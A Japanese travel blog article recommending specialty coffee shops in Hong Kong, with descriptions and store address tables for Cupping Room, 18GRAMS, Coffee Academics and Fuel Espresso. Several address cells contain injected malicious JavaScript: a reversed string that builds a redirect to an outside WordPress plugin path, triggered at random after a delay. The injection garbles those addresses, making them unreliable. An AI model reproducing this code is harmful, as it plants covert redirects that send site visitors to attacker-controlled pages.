ここ数年前から香港にもスタバやチェーン店ではないオシャレなコーヒーショップやカフェが多くできています。香港島を街歩きしているとコーヒーショップを多く見かけると思いますが、一体どこが美味しくて人気なのか分からないですよね。
今回はチェーン店のコーヒーで満足できないかた向けに本格コーヒーショップを紹介します。コーヒー好きのかたは参考にしてくださいね。
香港で飲める美味しい本格コーヒーショップ
Cupping Room
香港島に4店舗あるオシャレカフェCupping Room。オーナーのKapo氏は香港バリスタチャンピオンシップで3連覇し、2014年には世界バリスタチャンピオンシップで2位を達成した経歴の持ち主です。
コロンビア、コスタリカ、エチオピアなど中南米の農場に直接出向き、希少なコーヒーを購入しています。これらのこだわりの豆はヴィンテージ焙煎機でローストし、豆本来の個性を引き出せるようバリスタが丁寧に淹れてくれ、生産国、生産者、精選方法、コーヒー品種が特定できるようになっています。
食事もとても美味しくランチタイムや週末に行くと、欧米人のお客さんでにぎわっています。
◆店舗
| 灣仔 | G/F, 32 Swatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tow Street, Wan Chai |
|---|---|
| 上環 | Shop LG, The Centre Mark, 287-299 Queen’s Road Central, Sheung Wan |
| 上環 | Shop 8, G/F, Silver Jubilee Mansion, 62-72 Po Hing Fong, Sheung Wan |
| 中環 | G/F, 18 Cochrane Street, Central |
18GRAMS
コーヒーにこだわる人にとても人気のこちら。香港島に3店舗、九龍サイドに2店舗あります。18Gramsという店名はコーヒー1杯につき18gの豆を使用していることからきているそうです。
ディードリッヒ焙煎機を使用した自家焙煎が売りで、ドリンクは抽出方法も選ぶことができるという本格派。コーヒー豆の買い付けでは農場に直接訪問して、現地での豆の選定に厳しい基準をもうけているほか、豆の保管温度に関しても香港の温度や湿度にあうよう季節によって保管方法を変え、品質を徹底的に大切にしているお店です。
交通に便利なハーバーシティー内(尖沙咀)やタイムズスクエア(銅鑼湾)にもあるので観光の合間に訪れてもいいですね。
◆店舗
| 銅鑼灣 | Shop C, G/F, Hoi To Court, 15 Cannon Street, Causeway Bay |
|---|---|
| 銅鑼灣 | city’super, B1/F, Times Square, 1 Matheson Street, Causeway Bay |
| 上環 | G/F, 1-3 Mercer Street, Sheung Wan |
| 尖沙咀 | Shop 3001-G, 3/F,, Harbour City, 3-27 Cantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Road, Tsim Sha Tsui |
| 沙田 | City’super 204-214, 2/F, New Town Plaza, 18 Sha Tin Centre Street |
Coffee Academics
香港のサードウェーブコーヒーの先駆けとも言われているCoffee Academics。現在、香港内に8店舗展開している人気のカフェです。
ここの人気メニューはシングルオリジンコーヒー。厳選された品種の中から、好みのコーヒー豆をセレクトし、ドリップ、水出しなどを選ぶことができます。水出しコーヒーはワイングラスに入って来るので、香港らしい東洋が融合している空間を頼みましょう。
観光にピッタリな店舗はセントラルにあるランカイフォンのお店。1階(日本でいう2階)の窓側からは活気のある香港を見下ろすことができるのでお勧めです。
◆店舗
| 中環 | G/F, 24 D’Aguilar Street, Central |
|---|---|
| 銅鑼灣 | G/F, 38 Yiu Wa Street, Causeway Bay |
| 灣仔 | G/F, The Morrison, 225 Wan Chai Road, Wan Cha |
| 灣仔 | 35-45 Johnstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Road, Wan Chai |
| 太古 | Shop G505 & G508, G/F, Ning On Mansion, 28 Taikoo Shing Road, Tai Koo |
| レパルスベイ | Shop 108, 1/F, The Pulse, 26-30 Beach Road, Repulse Bay |
| 尖沙咀 | Kiosk 1, 2/F, Gateway Arcade, Harbour City, 3-27 Cantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Road, Tsim Sha Tsui |
| 西營盤 | G/F, 1-17 Sai Yuen Lane, Sai Ying Pun, Western District |
Fuel Espresso
Fuel Espressoはニュージーランドのコーヒーブランドで、香港にはコーヒーブーム前の2008年にオープンしています。Fuelのバリスタはコーヒーの勉強や淹れ方の訓練をみっちりしている実力者しかいないため、コーヒー好きのファンが多いです。
全ての店舗はオフィス街のビルの1階部分にあるため、オフィスビルで働く欧米人が多いです。時には商談をしている様子を見受けられますので、お子さんと一緒にというよりは静かにコーヒーを飲みたい方にはおすすめです。
軽食はパウンドケーキのみ。サンドイッチなどはないので、本当にコーヒーをメインに楽しむお店です。
◆店舗
| 中環 | G/F, Chater House, 25 Chater Road, Central |
|---|---|
| 中環 | Shop 3023, 3/F, IFC, 1 Harbour View Street, Central |
| 中環 | Shop B47A, B/F, The Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmark, 15 Queen’s Road Central, Central |
| 金鐘 | Shop 206, L2, Pacific Place, 88 Queensway, Admiralty |
| 尖沙咀 | 2/F, Entrance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sky100, Elements, 1 Austin Road West, Tsim Sha Tsui |
香港の本格コーヒーまとめ
どのカフェもコーヒー豆や焙煎方法などこだわりのあるお店です。どこもすべて雰囲気がよく欧米人が多いので香港にいることを忘れてしまうような店内になっています。
香港でコーヒーブレイクする際は、チェーン店だけでなく、こういうこだわりのお店が多いので、機会があればぜひ行ってみてくださいね。
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